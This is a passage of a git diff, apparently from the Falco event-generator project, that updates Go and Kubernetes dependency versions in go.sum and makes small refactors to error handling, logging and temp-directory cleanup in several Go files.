-golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= -golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/crypto v0.27.0 h1:GXm2NjJrPaiv/h1tb2UH8QfgC/hOf/+z0p6PT8o1w7A= +golang.org/x/crypto v0.27.0/go.mod h1:1Xngt8kV6Dvbssa53Ziq6Eqn0HqbZi5Z6R0ZpwQzt70= +golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 h1:e66Fs6Z+fZTbFBAxKfP3PALWBtpfqks2bwGcexMxgtk= +golang.org/x/exp v0.0.0-20240909161429-701f63a606c0/go.mod h1:2TbTHSBQa924w8M6Xs1QcRcFwyucIwBGpK1p2f1YFFY= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4= -golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.15.0 h1:s8pnnxNVzjWyrvYdFUQq5llS1PX2zhPXmccZv99h7uQ= -golang.org/x/oauth2 v0.15.0/go.mod h1:q48ptWNTY5XWf+JNten23lcvHpLJ0ZSxF5ttTHKVCAM= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo= +golang.org/x/net v0.29.0/go.mod h1:gLkgy8jTGERgjzMic6DS9+SP0ajcu6Xu3Orq/SpETg0= +golang.org/x/oauth2 v0.23.0 h1:PbgcYx2W7i4LvjJWEbf0ngHV6qJYr86PkAV3bXdLEbs= +golang.org/x/oauth2 v0.23.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ= -golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= +golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= -golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/term v0.0.0-20220526004731-065cf7ba2467/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.17.0 h1:mkTF7LCd6WGJNL3K1Ad7kwxNfYAW6a8a8QqtMblp/4U= -golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= +golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34= +golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/term v0.24.0 h1:Mh5cbb+Zk2hqqXNO7S1iTjEphVL+jb8ZWaqh/g+JWkM= +golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= -golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= -golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= +golang.org/x/text v0.18.0 h1:XvMDiNzPAl0jr17s6W9lcaIhGUfUORdGCNsuLmPG224= +golang.org/x/text v0.18.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= +golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U= +golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= -golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.16.1 h1:TLyB3WofjdOEepBHAU20JdNC1Zbg87elYofWYAY5oZA= -golang.org/x/tools v0.16.1/go.mod h1:kYVVN6I1mBNoB1OX+noeBjbRk4IUEPa7JJ+TJMEooJ0= +golang.org/x/tools v0.25.0 h1:oFU9pkj/iJgs+0DT+VMHrx+oBKs/LJMV+Uvg78sl+fE= +golang.org/x/tools v0.25.0/go.mod h1:/vtpO8WL1N9cQC3FN5zPqb//fRXskFHbLKk4OW1Q7rg= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= -google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= -google.golang.org/genproto/googleapis/rpc v0.0.0-20231120223509-83a465c0220f h1:ultW7fxlIvee4HYrtnaRPon9HpEgFk5zYpmfMgtKB5I= -google.golang.org/genproto/googleapis/rpc v0.0.0-20231120223509-83a465c0220f/go.mod h1:L9KNLi232K1/xB6f7AlSX692koaRnKaWSR0stBki0Yc= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= -google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk= -google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98= -google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= -google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= -google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= -google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= -google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= -google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= -google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 h1:pPJltXNxVzT4pK9yD8vR9X75DaWYYmLGMsEvBfFQZzQ= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1/go.mod h1:UqMtugtsSgubUsoxbuAoiCXvqvErP7Gf0so0mK9tHxU= +google.golang.org/grpc v1.66.2 h1:3QdXkuq3Bkh7w+ywLdLvM56cmGvQHUMZpiCzt6Rqaoo= +google.golang.org/grpc v1.66.2/go.mod h1:s3/l6xSSCURdVfAnL+TqCNMyTDAGN6+lZeVxnZR128Y= +google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= +google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/evanphx/json-patch.v4 v4.12.0 h1:n6jtcsulIzXPJaxegRbvFNNrZDjbij7ny3gmSPG+6V4= +gopkg.in/evanphx/json-patch.v4 v4.12.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= @@ -327,33 +256,31 @@ gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -k8s.io/api v0.29.2 h1:hBC7B9+MU+ptchxEqTNW2DkUosJpp1P+Wn6YncZ474A= -k8s.io/api v0.29.2/go.mod h1:sdIaaKuU7P44aoyyLlikSLayT6Vb7bvJNCX105xZXY0= -k8s.io/apimachinery v0.29.2 h1:EWGpfJ856oj11C52NRCHuU7rFDwxev48z+6DSlGNsV8= -k8s.io/apimachinery v0.29.2/go.mod h1:6HVkd1FwxIagpYrHSwJlQqZI3G9LfYWRPAkUvLnXTKU= -k8s.io/cli-runtime v0.29.2 h1:smfsOcT4QujeghsNjECKN3lwyX9AwcFU0nvJ7sFN3ro= -k8s.io/cli-runtime v0.29.2/go.mod h1:KLisYYfoqeNfO+MkTWvpqIyb1wpJmmFJhioA0xd4MW8= -k8s.io/client-go v0.29.2 h1:FEg85el1TeZp+/vYJM7hkDlSTFZ+c5nnK44DJ4FyoRg= -k8s.io/client-go v0.29.2/go.mod h1:knlvFZE58VpqbQpJNbCbctTVXcd35mMyAAwBdpt4jrA= -k8s.io/component-base v0.29.2 h1:lpiLyuvPA9yV1aQwGLENYyK7n/8t6l3nn3zAtFTJYe8= -k8s.io/component-base v0.29.2/go.mod h1:BfB3SLrefbZXiBfbM+2H1dlat21Uewg/5qtKOl8degM= -k8s.io/klog/v2 v2.110.1 h1:U/Af64HJf7FcwMcXyKm2RPM22WZzyR7OSpYj5tg3cL0= -k8s.io/klog/v2 v2.110.1/go.mod h1:YGtd1984u+GgbuZ7e08/yBuAfKLSO0+uR1Fhi6ExXjo= -k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00 h1:aVUu9fTY98ivBPKR9Y5w/AuzbMm96cd3YHRTU83I780= -k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00/go.mod h1:AsvuZPBlUDVuCdzJ87iajxtXuR9oktsTctW/R9wwouA= -k8s.io/kubectl v0.29.2 h1:uaDYaBhumvkwz0S2XHt36fK0v5IdNgL7HyUniwb2IUo= -k8s.io/kubectl v0.29.2/go.mod h1:BhizuYBGcKaHWyq+G7txGw2fXg576QbPrrnQdQDZgqI= -k8s.io/utils v0.0.0-20230726121419-3b25d923346b h1:sgn3ZU783SCgtaSJjpcVVlRqd6GSnlTLKgpAAttJvpI= -k8s.io/utils v0.0.0-20230726121419-3b25d923346b/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= +k8s.io/api v0.31.1 h1:Xe1hX/fPW3PXYYv8BlozYqw63ytA92snr96zMW9gWTU= +k8s.io/api v0.31.1/go.mod h1:sbN1g6eY6XVLeqNsZGLnI5FwVseTrZX7Fv3O26rhAaI= +k8s.io/apimachinery v0.31.1 h1:mhcUBbj7KUjaVhyXILglcVjuS4nYXiwC+KKFBgIVy7U= +k8s.io/apimachinery v0.31.1/go.mod h1:rsPdaZJfTfLsNJSQzNHQvYoTmxhoOEofxtOsF3rtsMo= +k8s.io/cli-runtime v0.31.1 h1:/ZmKhmZ6hNqDM+yf9s3Y4KEYakNXUn5sod2LWGGwCuk= +k8s.io/cli-runtime v0.31.1/go.mod h1:pKv1cDIaq7ehWGuXQ+A//1OIF+7DI+xudXtExMCbe9U= +k8s.io/client-go v0.31.1 h1:f0ugtWSbWpxHR7sjVpQwuvw9a3ZKLXX0u0itkFXufb0= +k8s.io/client-go v0.31.1/go.mod h1:sKI8871MJN2OyeqRlmA4W4KM9KBdBUpDLu/43eGemCg= +k8s.io/component-base v0.31.1 h1:UpOepcrX3rQ3ab5NB6g5iP0tvsgJWzxTyAo20sgYSy8= +k8s.io/component-base v0.31.1/go.mod h1:WGeaw7t/kTsqpVTaCoVEtillbqAhF2/JgvO0LDOMa0w= +k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk= +k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE= +k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38 h1:1dWzkmJrrprYvjGwh9kEUxmcUV/CtNU8QM7h1FLWQOo= +k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38/go.mod h1:coRQXBK9NxO98XUv3ZD6AK3xzHCxV6+b7lrquKwaKzA= +k8s.io/kubectl v0.31.1 h1:ih4JQJHxsEggFqDJEHSOdJ69ZxZftgeZvYo7M/cpp24= +k8s.io/kubectl v0.31.1/go.mod h1:aNuQoR43W6MLAtXQ/Bu4GDmoHlbhHKuyD49lmTC8eJM= +k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3 h1:b2FmK8YH+QEwq/Sy2uAEhmqL5nPfGYbJOcaqjeYYZoA= +k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0= -sigs.k8s.io/kustomize/api v0.13.5-0.20230601165947-6ce0bf390ce3 h1:XX3Ajgzov2RKUdc5jW3t5jwY7Bo7dcRm+tFxT+NfgY0= -sigs.k8s.io/kustomize/api v0.13.5-0.20230601165947-6ce0bf390ce3/go.mod h1:9n16EZKMhXBNSiUC5kSdFQJkdH3zbxS/JoO619G1VAY= -sigs.k8s.io/kustomize/kyaml v0.14.3-0.20230601165947-6ce0bf390ce3 h1:W6cLQc5pnqM7vh3b7HvGNfXrJ/xL6BDMS0v1V/HHg5U= -sigs.k8s.io/kustomize/kyaml v0.14.3-0.20230601165947-6ce0bf390ce3/go.mod h1:JWP1Fj0VWGHyw3YUPjXSQnRnrwezrZSrApfX5S0nIag= +sigs.k8s.io/kustomize/api v0.17.3 h1:6GCuHSsxq7fN5yhF2XrC+AAr8gxQwhexgHflOAD/JJU= +sigs.k8s.io/kustomize/api v0.17.3/go.mod h1:TuDH4mdx7jTfK61SQ/j1QZM/QWR+5rmEiNjvYlhzFhc= +sigs.k8s.io/kustomize/kyaml v0.17.2 h1:+AzvoJUY0kq4QAhH/ydPHHMRLijtUKiyVyh7fOSshr0= +sigs.k8s.io/kustomize/kyaml v0.17.2/go.mod h1:9V0mCjIEYjlXuCdYsSXvyoy2BTsLESH7TlGV81S282U= sigs.k8s.io/structured-merge-diff/v4 v4.4.1 h1:150L+0vs/8DA78h1u02ooW1/fFq/Lwr+sGiqlzvrtq4= sigs.k8s.io/structured-merge-diff/v4 v4.4.1/go.mod h1:N8hJocpFajUSSeSJ9bOZ77VzejKZaXsTtZo4/u7Io08= -sigs.k8s.io/yaml v1.3.0 h1:a2VclLzOGrwOHDiV8EfBGhvjHvP46CtW5j6POvhYGGo= -sigs.k8s.io/yaml v1.3.0/go.mod h1:GeOyir5tyXNByN85N/dRIT9es5UQNerPYEKK56eTBm8= +sigs.k8s.io/yaml v1.4.0 h1:Mk1wCc2gy/F0THH0TAp1QYyJNzRm2KCLy3o5ASXVI5E= +sigs.k8s.io/yaml v1.4.0/go.mod h1:Ejl7/uTz7PSA4eKMyQCUTnhZYNmLIl+5c2lQPGR2BPY= diff --git a/pkg/counter/counter.go b/pkg/counter/counter.go index 6ebc3da8..b7d7460f 100644 --- a/pkg/counter/counter.go +++ b/pkg/counter/counter.go @@ -255,7 +255,7 @@ func WithPid(pid int) Option { return err } c.proc = &proc - procStat, err := c.proc.NewStat() + procStat, err := c.proc.Stat() if err != nil { return err } diff --git a/pkg/counter/stats.go b/pkg/counter/stats.go index 68f2cc44..b099bd3a 100644 --- a/pkg/counter/stats.go +++ b/pkg/counter/stats.go @@ -49,8 +49,8 @@ func (c *Counter) statsByAction(n string) *stats { func (c *Counter) globalStats() (stats map[string]interface{}) { stats = make(map[string]interface{}) if c.proc != nil { - delta := time.Now().Sub(c.lastT) - s, _ := c.proc.NewStat() + delta := time.Since(c.lastT) + s, _ := c.proc.Stat() stats["cpu"] = float64((s.CPUTime() - c.lastS.CPUTime()) / delta.Seconds()) stats["res_mem"] = uint64(s.ResidentMemory()) stats["virt_mem"] = uint64(s.VirtualMemory()) diff --git a/pkg/runner/helper.go b/pkg/runner/helper.go index 0e8f1786..ce21f236 100644 --- a/pkg/runner/helper.go +++ b/pkg/runner/helper.go @@ -42,11 +42,13 @@ type helper struct { hasLog bool builder *resource.Builder cleanup func() - exePath string } func (h *helper) Log() *logger.Entry { - h.hasLog = true + // do not set hasLog (and silence info logs) if debug log is emmited + if h.log.Level != logger.DebugLevel { + h.hasLog = true + } return h.log } @@ -89,15 +91,20 @@ func (h *helper) SpawnAsWithSymlink(name string, action string, args ...string) func (h *helper) spawnAs(name string, action string, copy bool, args ...string) error { fullArgs := append([]string{fmt.Sprintf("^%s$", action)}, args...) - h.Log().WithField("args", strings.Join(fullArgs, " ")).Infof(`spawn as "%s"`, name) + h.Log().WithField("args", strings.Join(fullArgs, " ")).Infof("spawn as %q", name) if h.Spawned() { return ErrChildSpawn } - tmpDir, err := os.MkdirTemp(os.TempDir(), "falco-event-generator") + + tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-spawned-") if err != nil { return err } - defer os.RemoveAll(tmpDir) + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() name = filepath.Join(tmpDir, name) if copy { @@ -105,7 +112,7 @@ func (h *helper) spawnAs(name string, action string, copy bool, args ...string) if data, err = os.ReadFile(h.runner.exePath); err != nil { return err } - if err = os.WriteFile(name, data, 0755); err != nil { + if err = os.WriteFile(name, data, os.FileMode(0755)); err != nil { return err } } else { diff --git a/pkg/runner/runner.go b/pkg/runner/runner.go index d4d76f1a..07e4d428 100644 --- a/pkg/runner/runner.go +++ b/pkg/runner/runner.go @@ -17,7 +17,6 @@ package runner import ( "context" "errors" - "fmt" "os" "path/filepath" "strings" @@ -107,9 +106,8 @@ func (r *Runner) trigger(ctx context.Context, n string, f events.Action) (trigge } func (r *Runner) runOnce(ctx context.Context, m map[string]events.Action) (err error, shutdown bool) { - if len(m) == 0 { - return fmt.Errorf("no action selected"), false + return errors.New("no action selected"), false } var cList []func() @@ -128,7 +126,8 @@ func (r *Runner) runOnce(ctx context.Context, m map[string]events.Action) (err e cList = append(cList, cleanup) } if err != nil { - return err, false + // log error and fallthrough + r.log.WithError(err).WithField("action", n).Error("action error") } select { case <-ctx.Done(): @@ -139,7 +138,7 @@ func (r *Runner) runOnce(ctx context.Context, m map[string]events.Action) (err e } if !actionsTriggered { - return fmt.Errorf("none of the selected actions is enabled"), false + return errors.New("none of the selected actions is enabled"), false } return nil, false diff --git a/pkg/tester/tester.go b/pkg/tester/tester.go index c71a6eea..a786ef7b 100644 --- a/pkg/tester/tester.go +++ b/pkg/tester/tester.go @@ -97,7 +97,8 @@ func (t *Tester) PostRun(ctx context.Context, log *logger.Entry, n string, f eve return nil }, time.Millisecond*100) - if err == context.Canceled { + // "rpc error: code = Canceled desc = context canceled" is not directly mapped to context.Canceled + if errors.Is(err, context.Canceled) || strings.Contains(err.Error(), "context canceled") { return nil } if err != nil { diff --git a/tools/file-bundler/main.go b/tools/file-bundler/main.go index 0087164e..d423c4be 100644 --- a/tools/file-bundler/main.go +++ b/tools/file-bundler/main.go @@ -50,8 +50,9 @@ func genBundle(path string) error { return nil } - if bundle[filepath.Base(filename)], err = os.ReadFile(filename); err != nil { - return err + var errFileRead error + if bundle[filepath.Base(filename)], errFileRead = os.ReadFile(filename); errFileRead != nil { + return errFileRead } return nil